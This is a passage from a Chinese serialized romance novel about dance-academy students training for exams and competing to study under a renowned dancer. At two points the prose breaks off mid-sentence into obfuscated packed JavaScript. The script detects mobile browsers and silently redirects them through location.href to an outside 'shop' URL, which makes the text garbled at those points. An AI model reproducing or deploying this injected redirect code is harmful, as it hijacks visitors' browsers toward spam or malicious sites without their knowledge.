提到人情,陶乐钦忍不住“呿了”一声,“你对我有没有恶意我不介意,我没当你是敌人,也没兴趣做朋友。至于那件事,是你自己多事而已。非要我还人情,除了这件事都可以。我真的要练习了,你——” 陶乐钦望望门,晓希识趣的松开手。木门“砰”的一声关上,恨不得落人一鼻子灰。隔着玻璃,一件T恤高高扬起来,然后挡住了视线。 晓希无奈,在门口思虑了半晌,只好转头朝宿舍走去。 只是……昨夜还被彦承挤得他躺不下的板床,今天倒是宽敞的让人睡不着了。 然而今夜睡不着的,不只晓希一个。 寝室还没熄灯,早已经洗好澡的陶乐钦独自坐在床上看书。舍友们有的上网,有的打游戏,嘴里也有一搭没一搭的八卦。 “喂,你猜我今天去团里那边在练功房看到谁了?” “谁啊?”半晌,才有人懒洋洋的回复。 “孔爵!” 孔爵?窝在自己床脚陶乐钦心脏突然间漏掉了半拍。即便是插着耳机,即便是平日里都能集中精力过滤掉旁人说话,可是那两个字,好像百步穿杨的利剑,正中胸口靶心。孔……爵……? 几个小子听到孔爵的名字都激动起来,立马都转过头一脸好奇。“孔学长?他可是神龙见首不见尾的,你RP爆发能撞见哇.他来干啥了?” “我在门口偷着看,好像是给林晓希还有萧学长新收的那个学生上课呢! 艹!他们命真好……” 许是觉得万分羡慕和遗憾,爆料的人尾音有些落下去。大伙儿见状连忙嘻嘻哈哈的安慰,“哎,多大点儿是啊! 羡慕是TMD的羡慕了,不过想想就完了,这事儿啊,用不着走心。” 可惜,都是学了十年八年舞蹈的,对于少年时背后仿佛闪着金光的偶像,谁能不走心啊。几个人哀叹了几声,最后,还是忍不住抱怨几句。 “哎,尖子生就是不一样,我们一群盼孔学长能来学校教课盼的眼睛都绿了,可学长愣是不来,回头却给林晓希上小课了。” 你都说了是尖子生,功好,谁不喜欢啊!” 几个人你一言我一语,陶乐钦简直是竖起耳朵拼命的听。可是一字不漏的都挺进来了,心里却一会儿羡慕,一会儿又是不屑。什么尖子、尖子、尖子。可是,孔爵,却就偏偏喜欢这个尖子! 屋里有跟晓希一起从附中升上来了,关系也不错,八卦归八卦,却也不愿意让人误会了晓希,“话也不能这么说,林晓希条件好又努力,咱们附中的同学都是有目共睹的。再说,他是文导的关门弟子,算起来是孔学长的小师弟。我听说,他头几年和文导上小课的时候,孔学长经常在的。这么多年的交情和关系,师兄教师弟,无可厚非嘛。” 话说的在理,大伙儿也都点头称是,只不过这心里呀,就是泛着那么点儿酸劲儿。 “我从小就是以孔爵和萧泽为偶像的呀。可惜他们竟然都不来学校教课,两个人还都跟林晓希这么好。要么谁和林晓希熟,让他回去给求个情算了!” 大伙儿闻言一阵哄笑,却没谁当真的,笑罢了,就各自回去干自个儿的事儿。毕竟,人和人的路总归是不一样的。资质普通些的,毕了业,能进个舞团演出,或能进个普通大学当老师,也是不错的出路了。有没有萧泽孔爵文筱又能差了多少呢。 然,陶乐钦许是当了真了。 紧张得攥皱了手里的书页,脑海里心心念念想的都是方才他们的玩笑话。原来,他们相识那么久,那么熟。林晓希,真的是集万千宠爱于一身啊。 陶乐钦不禁苦笑,到现在他才明白,自己对这个林晓希,从前是不服,后来是不屑,到现在,其实是不愿承认的嫉妒。嫉妒孔爵那么护着他,嫉妒他是他的小师弟,嫉妒他不愿意来学校教课却愿意对他倾囊相授。 哎…… 陶乐钦仰身躺下,心里说不出的堵得上,有点疼,还泛着酸…… X-box!手柄!漫画!不要了,都不要了!全部丢出去!明年……明年一定要考上! 萧泽倚在彦承门口,只见他如此念念叨叨,着了魔一般把一大堆东西都扔进箱子。“这是干什么呢?” “萧泽哥!你回来了!” 彦承一见萧泽从外面回来,乐不颠儿的冲了上去,“我想好了,我不玩儿了,我不放松自己了,明年!我一定要考上舞校,和晓希一起!萧泽哥,你要帮我!” 萧泽不顾被彦承一阵摇晃,盯盯忘着他的表情片刻,终于忍不住“切”的一声笑出来。小孩儿一见立刻急了,“萧泽哥!我是认真的,你怎么笑我!” 萧泽忍着笑,在他额头狠狠点了一下,“是啊,我笑你。我笑你立誓没有十次也有五次了,哪次坚持长了,哪次不是逼着打着练的?你这些话啊,和我说没用,自己能记住才算数。” 一听这话,彦承面子上有些挂不住,连忙凑到跟前儿,一边拽着萧泽的胳膊,一边用脚把大箱子都踢到了床底下。 “萧泽哥……我知道我话说得多做得少,可是这次,我一定用实际行动证明!明年我肯定能考上舞校的。可是您一定要帮我,我保证我认打认罚不恨您不耍性子! ” 眼看着那装出的可怜样儿,萧泽只觉好笑,伸手把他毛茸茸的头推离自己的肩膀,“行了,不过玩笑你一句还委屈上了。我答应你,明年一定让你考上附中,你要是不努力,我就藤条逼着你努力还不成?” 彦承闻言立刻满足地眯起眼睛,仿佛得了皇帝的尚方宝剑,当下只嘿嘿一笑,吐出个“成”字。 “成还不快去练功!” 萧泽作势凶他,小孩儿吓得缩缩脖子,立刻一溜烟儿闪出了门,还不忘在门后喊着“萧泽哥快来”。 哼……萧泽弯腰拉出他床底下的箱子,把东西一一摆回原位。心里不禁暗叹。这孩子,毛毛躁躁,一惊一乍,想起一出是一出,豪言壮志没少说,踏实肯干就没他的事儿。什么时候啊,要真的知道自己要什么了,这些东西摆在哪儿还不都是一样。 时针指向八点,萧泽站在练功房门口没有进去。想是刚跳完剧烈的动作,彦承双手撑着腰,边大口喘着气边在房间里踱来踱去。额头上豆大的汗珠往地上砸,要不是真的感受到房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239515|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里飘出来的阵阵凉风,萧泽险些以为是家里的空调坏了。 歇了没两分钟,彦承又对着镜子,把最近新学的动作一个个的琢磨起来。远远看着疯惯了的弟弟一脸专注的模样,萧泽心里,的确是说不出的安慰。 其实,彦承去学校找晓希,就算小孩儿没有要求,自己也会带他去的。不同于往日的朝夕相处,晓希突然离开,在那个本就该属于他的更高更辽阔的地方尽情舞蹈,对于彦承,该是不一样的刺激。让他去看看,让他去看看自己最钟爱的人日夜奋斗的地方,让他去看到两人之间一不小心就会拉开好远的距离,然后更加清楚的意识到,自己为之奋斗的目标到底是什么。 所以,承儿一回来就打起十二分精神要努力的样子,萧泽并不讶异,只不过是在心里默默希望,这次,他是真的懂事了。 “抬头挺胸肩打开,最基本的动作要领,不用我再重复了。” “对!高一点,稳住了,别落!” 旁腿提到肩上一点,转成前腿,后腿,再转回旁腿。彦承摒着呼吸,绷紧脚尖和膝盖,用尽腰腿上的力气让腿稳稳当当地转来转去。可是捱过这几下,再回到旁腿,到底是绷不住的渐渐颤抖了起来。 要是论练舞的时间,能做到这样,可圈可点。可按着自己的标准,按着明年要考舞校的标准,还是差了些。可是……从开始学舞到现在,自己逼这孩子已经够紧的了。但又有什么办法呢?路是自己选的,梦是要一砖一瓦砌的,就算每一步都走的万分艰难,这脚印也要踏踏实实地踩下去。 “承儿。” 苦苦撑了五分钟,彦承腿抖得像筛子,听见萧泽哥叫自己,以为是哪里又出了错,连忙更加用力的绷紧双腿,可是已经疲惫不堪的肌肉如何禁得住这样的折腾,稍稍才一用力,方才还是酸痛的腿上就仿佛生出千万根钢针,彦承一个没忍住,腿已经落下来一大截。 萧泽上前扶他,“放下来吧。” 彦承看不出萧泽哥的喜怒,只得哆哆嗦嗦地把腿放下,慢慢坐到地上。萧泽也在旁边坐了,把小孩儿几乎抽筋的腿放在自己腿上,细长的双手,一点点按摩。 僵硬痉挛的肌肉被一点点揉开,彦承咬着嘴唇,只小口吸着气。细微的抽气声中,听见萧泽哥淡淡的叹,“这么点儿稳劲儿都没有,连难度高点的动作都应付不来,谈何大型一点的舞蹈,谈何考上首都舞院。” 彦承一愣,心里钝钝地疼,他知道,萧泽哥不是说自己,是在替自己着急。可是他心里,也是比任何人都急的呀。 “萧——” “好了”,萧泽拍拍他腿,彦承把腿收回了来,也把在嘴边的话咽了回去。 “承儿我问你,控腿,我的要求是什么?” 彦承微微低下头,面色有些黯然。“旁腿贴耳朵,正腿贴鼻子,至少五分钟……不许抖。要是一百六十度以下,十分钟,不许抖。” 萧泽点点头,扳着他下巴看着自己,“我知道,这要求有些强人所难,但这世上只要有人做到,你就没理由做不到。我能做到,晓希能做到,自己差在哪儿了,知道么? ” 彦承盯盯忘着萧泽哥的眼睛,那眼神,澄澈又深邃,映的他无地自容。 18. 第18章 夜深,萧泽瘦削的身子还在桌前忙碌,一阵凉风顺着窗口飘进来,忍不住打了个喷嚏。彦霖从外面进来正巧听见,连忙拿了件外套给他披上,“晚上湿气重,小心别感冒了。” “嗯”,萧泽随便应了一声,眼神却是还没离开屏幕上的文案,来来回回修改了一阵,眉头却是皱的更紧了,焦躁地按着删除键,把才敲打上去的东西都删掉了。 彦霖绕到萧泽身后帮他轻轻揉捏着肩膀,”怎么了,这么烦?” “喏,”屏幕转过来,彦霖看见正是彦承的训练计划。“我记着是之前早早写好了,怎么要改?” “嗯……” 萧泽叹了口气,仰头倒在椅背上,“承儿求我让他明年考舞校,我答应了,所以训练的进度都得往前赶。” 彦霖有些奇怪,“本来不也说是让他明年考的吗?” “哎,说来是有点对不起承儿。之前嘴上虽然答应他,但其实是想到时候哄他再多读一年。你也知道,考得进舞校,还是拿实力说话,承儿的底子薄,大家又都知道是我的学生,我怕到时候他被人说闲话。” 彦霖点点头,自然明白情人的苦心。想来他向来是个心思纯粹的人,一心只在舞蹈上,何曾为这些琐事操过心。“他一个小孩子有什么对不对得起的,你当哥哥的帮他想的这么周全,他偷笑去吧。不过,现在为什么又决定让他考了?” 萧泽无奈盖上电脑,“还不是去了晓希那儿受了刺激,回来又跟我立了个军令状。” “这小子!”彦霖牵起情人到床上,“他一个月要说好几次豪言壮语,我看是屁股又痒了,亏你信他。” “也不是这么说,今天晚上,承儿真的挺用心的。我帮他撕腿,故意比平时都狠了些,这小子愣是撑着没吭声,说不定,这次是真的想通了。 “嗯,”彦霖点点头,将情人揽在怀里。萧泽忍不住转头逗他,“怎么,心疼了?” 头顶的人不禁笑骂,“心疼你多些!是不是最近太累,瘦的都不好抱了。” 彦承从洗手间出来,正撞见床头柜上的手机震得不停,连忙踢趿着脚步过去。抄起手机,屏幕上正显示着晓希,小孩儿开心一笑,一屁股栽倒在床上,“喂?” 电话另一头果真是晓希温柔的声音,“干什么去了,打这么久电话才接?” “洗澡嘛,今天晚上多练了一会儿,所以就晚了。” 说到晚上的事儿,彦承忍不住揉一揉自己的腿根,酸痛地龇牙咧嘴。 “怎么?又惹学长罚你了?” “最好是!”彦承急着解释,“是萧泽哥想我准备的充足些,所以加紧了课程而已,你少在那里乱揣测。” 本就是问问而已,可听着彦承急着澄清,晓希不禁起了逗他的心思,“跟我还瞒什么?挨罚就说挨罚了,我又不会笑你。让我猜猜,是藤条招呼了屁股还是二百个腹背肌?” “没有……” “都不是?那打手心了?还是罚跑圈了?” “……” “难不成——” “晓希!” 终于忍不住喊住晓希,电话另一头兀自仍是一阵笑声。 “无论如何,我明年是一定要考上舞校的。” 不等那头的笑声是否已渐渐止了,彦承捂着话筒,正正经经地说出来。 仿佛温和的一句话,在自己放肆的笑声中不着痕迹的飘过来,却坚定地好似一杆重锤敲在心头。彦承看不见的这一边,晓希了然地点点头,他太知道这句话的重量了,为梦想要翻越艰难险阻的重量。他也自然明白了,为何学长会突然加紧了课程。如果是下定决心要彦承明年能稳稳当当的迈进舞校的大门,剩下这大半年必然更加难过。 “怎么不出声?” 良久的沉默,反而让彦承有些不安。 晓希笑了笑,温声安抚情人, “傻子,我说过的,你选的路,我一定陪你一步一个脚印走下去。” 第二天清早,萧泽亲自去学校帮彦承办了休学,老师认识萧泽,也知道钟彦承是要走舞蹈专业,自然也顺利半忙办妥。离开教务处,萧泽却没急着离开学校。帮承儿办休学,是因为现在学校教学的速度赶不上明年的高考。所以即便是向来做事尽力不去麻烦别人,可还是左托右托联系到了学校高三的骨干老师。一顿午餐设在附近低调却考究的日料,谈的,自然是承儿的学业。之前在电话里已经提及一二,一旬茶水过后,萧泽开门见山,说明了是想拜托几位老师帮彦承补习。萧泽心中明白,在座几位老师都是精英,名利皆有,若说是提供丰厚报酬是自讨没趣了。何况几位都是在高三的攻坚阶段,终日忙碌,抽得出一顿饭的时间已经不容易,要想请得动他们帮彦承补习,除了托着人情,也只有尽显诚意了。这一顿饭吃的并不简单,老师们也有苦衷为难,好在萧泽费尽唇舌,总算求得他们答应。 口干舌燥的驱车回家,客厅里安静的出奇。萧泽到厨房冲了杯凉茶,这时间,承儿该是在练功房里,索性给他多些时间,自己在沙发上饮尽了半杯凉茶才去找彦承。临近练功房,飘进耳畔是极婉转悠长的乐声,不同于平日听惯了的钢琴曲。推开门,彦承正在镜前热身,左臂自然地打开,自然扬起轻轻划到一位,萧泽点点头,出言提点,“注意配合呼吸,手不要硬生生地转过来,腕子要柔一点。” 彦承见是萧泽来了,忍不住回过头,却被萧泽在镜中瞪了一眼,“练功还不专心!” 差点忘记练功的时候可不敢跟萧泽哥乱来的,小孩儿吐吐舌头,接着练习。身体向右侧弯曲,延伸,手臂停在耳侧,指尖带着身体延伸。要领早已经烂熟于心,做起来却未必得心应手。 果然,一晃神儿的功夫,萧泽哥已经走到身后,一只手顺着自己的腰际捋上来,自己顷刻就向右又弯折了一大截。 “延伸!你要真的延伸啊。热身不是舞蹈动作,要不多不少做的刚刚好。是真的要能起到暖身的作用才行。别憋着气,放松呼吸。” 萧泽哥这么压下来,彦承已经重心不稳,一放松呼吸,当即就是一个趔趄,耳边的声音,已经带了愠意,“为什么站不稳?” “腰……腰劲儿不……够……” 彦承慌忙地重新站好,萧泽已抓着他的手腕从旁腰转到身后,仗着腰软,小家伙这次倒是后仰的够深,只是忙着逞能,却又忘了个中要领。 “是叫你下腰了吗?说过几次了,这里是要你的胸腰挺起来,再来!” 有萧泽哥从旁看着,一套热身下来比平时不知累了几倍,总算完成最后一个动作,彦承浑身上下早已经汗津津,趁着几分钟休息连忙抄了瓶水咕嘟嘟地灌下去。“萧泽哥,真的帮我办了休学了吗?” “嗯,”趁着彦承休息的功夫,萧泽也活动着关节,双臂不过随便搭在把干上压肩,上身已经塌出不可思议的弧度。 “学籍还在,好让你能报上明年的高考。请了你们学校的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239516|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高三老师来家里给你讲课。老师们能来是你天大的运气了,用心点学,不然就自个儿跟你哥请罪去!” 虽然从第一次说要考舞校开始就已经有了这样的心理准备,可仔细想想未来几个月的生活,彦承还是不禁在心中长叹了一口气。可是这样的疲惫和担忧怎么敢让萧泽哥知道。听着音乐已经准备好,小孩儿只能打起十二分精神努力练习。 ----------------------------------------------------------------------- 花开花落,云卷云舒,日日不同,可好像也又没什么不同。练功吃饭,看书学习,林晓希的日子,过的总是那么相似。就好比准时从练功房出来,洗了澡,准时倚在床头读一阵子的书。 熄灯前的寝室进进出出总是最忙碌,上铺在床边收拾东西,瞥见晓希手里厚厚的那一本,自己简直都替他觉得累。 “我说林晓希啊,你可真用功,晚上才看你练得路都走不动了,洗完澡还能打得起精神来看书,我一看书啊,眼前就乌嘛嘛一片,一闻着那油墨味啊,就犯困。” 晓希的上铺是附中一起上来的同学郑钦,两人自小认识,在寝室里也算最熟络。 “唉,哪里有?”晓希看看时间,合上书本放到了床头,“反正也是无聊,我看着当消遣呗。” 郑钦拉着栏杆爬上去,故意一屁股坐到床上,震得床板吱吱响,“你啊!就得是功好学问又高,整个文武双全让别人都没法活了!” “林晓希外面有人找!” 晓希待要反驳郑钦,听着门口的一床喊有人找自己。郑钦坐的高,抬头朝门外看了一眼,不禁冷哼了一声,“我看不出去也得了。” 晓希不明所以,踢趿着拖鞋向门口走去。 一推开门,晓希真的吃了一惊,站在门口的,竟是陶乐钦。陶乐钦顶着半湿漉的头发,看着走廊里来来往往的人不住打量着看着二人,心里不免憋气,一转身朝楼梯口走过去。晓希知道他性格,便默默跟着过去,看他站定了才开口问道,“找我有什么事儿吗?” 陶乐钦转头看看了四周,一贯冰霜的脸上露出些许的不自然,只是眉梢却还是有意无意的挑着,仿佛面色只要柔和些就会输了阵仗一样。“你和孔爵很熟吗?” 这一句话问的没头没脑,林晓希一愣,没反应过来怎么回事儿,“还算可以吧。为什么这么问?” 将面前的诧异神色尽收眼底,陶乐钦微微扭过头,心中气结。那句话堵在嘴边儿,从偷听到室友们聊天的时候起就一直想问出来,可知这中间经历了多少纠结,总算下定决心来找林晓希,可那一件事儿,就是说不出口。其实,他本不是个爱面子如命的人,眼中都从来没有别人过,又哪里会介意别人眼中的自己呢。可是在林晓希面前就不同了,本来是瞧不上他,可渐渐发现,他不仅是劲敌,更是那个人的心头好,便越发的觉得不能输给他半点。 可是……抬眼看见林晓希一脸问询,没有半点得意拿乔的样子,陶乐钦在心中暗叹一声。其实,自己要的是什么?无非是想要做孔爵的学生,相比之下,其他事情都显得微不足道了。于是,他清了清嗓,面色坦然,仿佛一切都是理所应当, “我想做孔爵的学生,可他说我还够不着他的门槛。你和他相熟,你帮我,看要如何才能算入得了他的法眼。” 19. 第19章 从没想过,陶乐钦原来想做孔爵哥的学生。两人练舞的方式本是格格不入的,一个严把着基本功的门关,一个坚信身随意动不过多限制修饰。可也许—— 林晓希忘着眼前人那飞扬的眉眼—— 也许两人性子里的随性不羁反而是如出一辙的吧。 于是赶在他再次觉得不安之前,欣然答应, “好啊!谈不上谁帮谁,两个人一起练功,进步一定会快很多的。” “好,” 陶乐钦点点头,波澜不惊,“那明天晚上,楼梯尽头那间练功房见。” 转身离开地方式仿佛经过千百遍试练,沉稳安定,可谁又知道,那尽力压抑的外表下,心中是如何的汹涌澎湃。他终于问出了这件事,充于可以踏上奔向孔爵师门的路途。那是多让人开心雀跃的事啊。 回到寝室,眼前却还是留存着方才林晓希大方明媚的笑容,只不过轻描淡写的一句,已化解了自己全部的尴尬和不安。究竟是城府太过不简单,还是真的,,大气如斯呢?这一夜,陶乐钦再一次失眠了。那无眠的感觉,好像小学时代野外宿营前一晚的兴奋与期待;又好像第一天遇见老师那晚的喜悦与刺激。 “也许是小小的幼稚一直在自己心中如此存在着,所以,确认得到了林晓希的帮助,就相信在不久之后一定会成为孔爵的学生。尽管……我知道他是讨厌我的。” 陶乐钦这样在日记中写到。 熄灯时间到了,合上本子,放进背包,陶乐钦仰面躺在床上,自从来了中国后,自己写日记的频率好像变高了。也许是没什么朋友吧,无聊的时候就对着日记本说话。天气好的时候,靠着树根在本子上落下熟悉的日文字,也是种是难得的惬意呢。 躺在另一个寝室里的林晓希又何尝不是有万分思绪。他和陶乐钦之间,总算有了些好的进展。可是,帮着他练功,又有许多顾虑。该如何把要求告诉他而不让他觉得盛气凌人,如果做得不对,学的不快,自己又该如何反应? 于是,睡得都不好的两个人,就这样迎来了第二天的傍晚。匆匆吃过饭,晓希先一步到了练功房,趁着陶乐钦还没在迅速换好了衣服,热身。腿长身材又匀称的人,本来天生就适合跳舞,好像简单地抬抬腿伸伸胳膊就已经有别人难以企及的优美。 晓希扶着把干踢起旁腿,一手在头后抓住脚腕。一点点把脚腕拉到另一边,力道一点点的加重,直到触及还未曾练熟的地方,韧带毫不迟疑的传来一阵尖锐的刺痛。镜中的自己和熟悉的疼痛,让晓希不禁回想起学长的《朔风传》。想那时,学长为了这部舞剧呕心沥血,自己也因着将来能跳好它,第一次在学长面前痛哭求饶。可时光就是有这样的魔力,无论当时的记忆多么惨痛狼狈,现在回想起来,不过是一个浅笑,一个摇头,云淡风轻。 房门声响,晓希不禁一惊,慌忙把腿放下。他知道是陶乐钦来了,不想他误会了自己是有意显摆。在镜中看到他一进来就将房门关好,还不忘在窗户上又遮一件T恤,晓希知道他想起上次的事。。。有些抱歉。“你来了。” 陶乐钦正拄着墙换鞋子,听见晓希打招呼只抬头回应了一声,“嗯,来了。” 其实,他一进门就看见了林晓希慌忙收起来的腿,心里明白他是不想给自己看到。学校共处这一段,他看得出来晓希人品不错,大方谦虚,也懂为别人着想,不是才知道,只是从前不愿去认可罢了。“其实我都看见了,你不用避忌。我不是那么小气的人。何况要不是你这方面厉害,我也不会找你帮忙。” 难得……他也能说句好话,晓希低头笑了笑,看起来,也不是那么难接触吧。 “既然你想集中练一下基本功,今天我们一起把基本的技术技巧动作过一遍吧,看看还有哪里需要提升。” “不用!”换好鞋子的陶乐钦走到镜前,斩钉截铁否定了晓希的提议。“你和孔爵练过,肯定明白他的要求,我就是想你按着他的要求带着我练。你跟我也不必客套,拿出点本事来用最快的时间帮我达到他的标准。别让我小瞧你。” 呵……果真是一点客气的话都说不出来的人啊……晓希在心中长叹了一口气,把播放基训的音乐的手机放的离陶乐钦近了些,又从背包里掏出指和笔,一副体育老师考核的姿态望着眼前的人, “那就按基训课的流程来一遍吧,要我帮你我总该看看你的程度。” 林晓希可不是唯唯诺诺的小书生,说起来,“舞少”的头衔冠着,怎会没有几分霸气。这一点,陶乐钦一边做着动作就一边默默地发现了。眼前的人,认真投入舞蹈的时候,散发出的气场不比寻常。锐利的目光如鹰眼般把人从头打量到脚,仿佛任何一个纰漏都逃不出那法眼;手下不停在本子上做着笔记,那老练的样子,俨然是给世人知道他绝对是专家。 许是因为是在林晓希面前跳,陶乐钦更比从前投入十二分力气。一套动作下来,汗珠便顺着脸颊往下淌。可是连擦汗的功夫都没有,晓希已经把本子举到眼前,边解说,笔尖边在上面写写画画。“从最基本的手位脚位没什么问题,控腿不够稳,弹跳挺好的,但有些地方不够标准,有小毛病要改。软开还得再加,脚腕力量挺好的,releve做的不错,但脚背就差一点。再有腹背肌可能也有待加强,所以影响了一些弹跳和翻腾动作的优美度。嗯……基本就这些,再有就是——” 就算是做了足够的心理建设,可被人一样样数落下来,哪是一向骄傲惯了的陶乐钦能忍得下的!可既然决定了叫林晓希帮忙,总不能第一天就捱不下去。所以听着林晓希说话有些迟疑,陶乐钦继续追问下去,“再有什么?直说。” “再有就是我觉得你原来老师给你打的底子其实不错的,是你自己在这块不怎么上心,跳着跳着就走歪了。不过……这只是我的猜测……” 猜测……自己能说他猜得准么!关于老师的事,他没想和任何人分享。林晓希见他不回答,以为他是不开心自己说了他太多毛病,便解释了些“孔爵对基本功的要求到了吹毛求疵的地步”云云。陶乐钦却不知听进去几分,一直沉默着等他说完才一抹鬓角的汗,言简意赅,“开练吧。” ------------------------------------------------------------------------ 耗腿神器——垫子,摆在眼前,晓希把纸笔搭在把干上,让陶乐钦上垫子,“你自己先试下,看竖叉能到哪儿,这个厚度的垫子至少要两个,咱们现在是一个。” 陶乐钦挑了挑眉,伸手拽过另一个垫子落到上面,麻利地下了个竖叉,手撑着地振压几下,腿根已经沉下去一节。虽然韧带依然疼的难忍,可不愿在林晓希面前出丑,依旧是一副千年不变的冰山脸。晓希没想到陶乐钦会一下子上两个垫子,可也知道陶乐钦的脾气不容劝 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都是这么过来的,谁能不知道这中间的苦楚,晓希小心拿捏着力道,轻声劝慰,“这样耗叉是很疼的。你不要太绷着面子了。方才你进门的时候我其实就是在想,上次萧学长帮我耗叉,我哭的很丢人。” 明知这是善意的提醒,可心中仿佛有千万颗蚂蚁爬过撕扯,陶乐钦烦躁地听不进一句话,“别废话,压吧。” 这一次压到底,豁出去疼一次,他也值了。 然身后的力道一点点加深,有如刀俎的陶乐钦对一次压到底这样的想法有了彻底的惧意。他可以不喊不叫,也可以面色平静,可他无法否认自己对这疼痛的恐惧。如果不是有那么想念老师,如果不是真的想做孔爵的学生,他根本无法忍受一秒钟,不!是根本就不会练这些东西。 “下面可能会更疼一些,我知道很难受,忍一下。” 话音未落,甚至等不及陶乐钦在心中慌张地喊出一个“不”字,晓希的双手已然用力缓缓又压下一截。修长的双腿有如拉满的长弓,已经不自觉的有些颤抖,可陶乐钦,从始至终竟都不曾吐出一丝呻吟。晓希暗暗佩服,只因对他此时此刻的境况感同身受,“你可以在心里数两个八拍,我们就休息一下。” 这话音与于陶乐钦简直如一丝救赎的清音,他艰难地在心中数过三四个八拍,身后才终于松了力道。如获大释般,陶乐钦试图撑着地面一点点起来,可就在即将要挪动的一瞬间,心中的倔强却又占了上风。 “你说……萧泽上……次……帮你耗叉,耗了多久?” 晓希一怔,“也就几分钟,压得深的话不宜耗太久——” “我不算压得深吧……” 即便是良好的家教让陶乐钦再恣意也不会随便打断别人说话,可在这样的疼痛这么之下,就让他把这家教先放一放吧。 “是……不算很深,但已经很难了,你起来休息一下吧。踢踢腿。” 晓希上前拉自己,陶乐钦摇了摇头轻轻避开。其实在心里深处,他多希望林晓希说的是,压得太深了,你该起来。所以听见那为难的声音,自己的心何尝不是紧张地偷停了一拍。这疼……是真的太难忍了,更难的,是连呼痛都不能的故作轻松。可是……他是真的想老师回来,是真的要做孔爵的学生。这世上,没有他做不到的事。 于是,在那熬人的地方仿佛用了千百年来犹豫挣扎,陶乐钦听见自己强自镇定的声音,“压着我,十分钟。” 20. 第20章 整整四个小时,晓希不知道这富家小公子的一股子狠劲儿是哪里来的,即便只是讲解和示范,自己已经累得口干舌燥。 “今天先到这儿吧,再练,身体也吃不消。” 最后一组力量做完,晓希帮陶乐钦卸下背上的负重。陶乐钦点点头,爬下练功凳放松着几乎要僵成一块的背肌。跟着林晓希练习的第一个晚上,疲惫的程度超出预想,也许是孔爵的要求的确不简单,也许是在强劲的对手面前不肯露怯,也许,是自己想用这疯狂练习的方式自我劝慰吧。 晓希收拾好一屋的器械,见陶乐钦还蹲在原地,一头与性子一样飞扬跋扈的短发下面,是一整张汗湿的脸。无论是多有灵气的舞者,将舞蹈视为表达生命的媒介,却依然逃不过舞蹈最枯燥的部分。无论是看上去多光鲜亮丽从不示弱人前的陶乐钦,也依然有旁人无法理解的无奈和自卑。本想直接离开的,只是想到这些……唉……晓希暗暗叹气,拿出背包里还未打开的瓶装水递给陶乐钦,“回去好好放松吧,不然会影响明天的状态。 ” 一双脚出现在眼前,头顶响起林晓希的声音,不习惯仰视的陶乐钦第一时间站起来,接过他手中的水,回报一个不算自然的微笑。 “这个周末大概我们都没有时间,下周一开始,我每晚在这里等你。” “嗯,可以。” “还有”,说起第二件事儿,这家伙似乎有些急切,“我找你帮忙的事,请你保密,就算是钟彦承……也不要说。” 陶乐钦是想着,如果是钟彦承知道了,难保萧泽,文筱编导,甚至是孔爵……都一起知道了。 “我可以帮你保密,向任何人,可要是彦承问起了,我不能说谎骗他。”晓希本也不是个多嘴的人,可他不想欺骗自己爱的人。 等等!彦承! 晓希突然想起什么,连忙掏出手机。果然!屏幕上赫然列着十六个未接来电,还有彦承的一则短信,“我在舞团那边的练功房等你。” 今天可不是约好了彦承晚上来找自己! 慌忙播给彦承,可那边竟是用户已关机! 哪里还顾得上林晓希,晓希飞一般冲出门向文导的练功房奔去。十几个未接呼叫,不仅有彦承的,也有同寝室友的。想必是彦承先到了宿舍等不到自己舍友们才帮着找。真是该死啊!恨不得甩自己几个巴掌,明明约好了怎么会忘得死死的! 已经十一点了,不知道彦承还在不在。 周末舞团那边的排练大楼一向关的晚,晓希飞奔上楼,远远看见走廊另一边那间练功房的灯还亮着,心中不禁一喜。“彦承!” 推开门,彦承果然还在。冲过去一把把情人抱在怀里,满心是说不出的愧疚。 “对不起对不起!我竟然把这事儿忘了。对不起! 你……等很久了吧?” 被情人紧紧抱在怀里,感受着他胸口不断的起伏,耳边是带着浓浓歉意的语声。一整个晚上的郁闷和愤怒,顿时只化为满心的委屈,“我在你心里到底算什么,总是这样的话,以后我就不来了,想来你也是不想我,否则也不会总是丢下我了。” “这说的是什么话?”晓希紧张地把彦承拉出怀抱,“你气我打我骂我就好了,干什么说这样的话让我难受。从前都是朝夕相处,现在一周才见得一次,怎么会不想你。” 彦承冷着脸,想骂他一句什么时候学的这么花言巧语,却又觉得这话说出来有点娘气。索性闷闷地推开他,自己跑到镜前继续练习。古典舞的身韵是最难拿捏的,一沉一舒,手眼身法,都有说不出的韵味,需细细琢磨。等待晓希的这一个晚上,虽然一直在跳,可心思一直想着别处,又能琢磨出来个什么? “彦承……” 晓希追上去拉住他,彦承拧了拧身子,不肯给他牵着。“你晚上到底干什么去了!?” “我……我去帮陶乐钦练功。” 不知彦承会作何反应,晓希嘴都没张开,说的要多快有多快。 可惜彦承还是听清楚了。“你说什么???” “我说,我去帮陶乐钦练功了。” 彦承瞪着晓希足足楞了半分钟,陶乐钦,他真的没听错,晓希竟然去帮陶乐钦练功,还因为帮他练功,忘了他们之间的约定! “他不是和你不合的吗?好好地找你练什么功?你竟然会答应,还竟然会因为这个把我给忘了!” 简直是气不打一处来,彦承一屁股坐下,半句话都不再想和他讲。 “彦承,陶乐钦叫我帮他是因为他想做孔爵哥的学生!” 孔爵哥?彦承一愣,没想到是这样。心里纵然对晓希有气,好奇还是占了上风,当下便微微侧过头,“那又怎么样?” 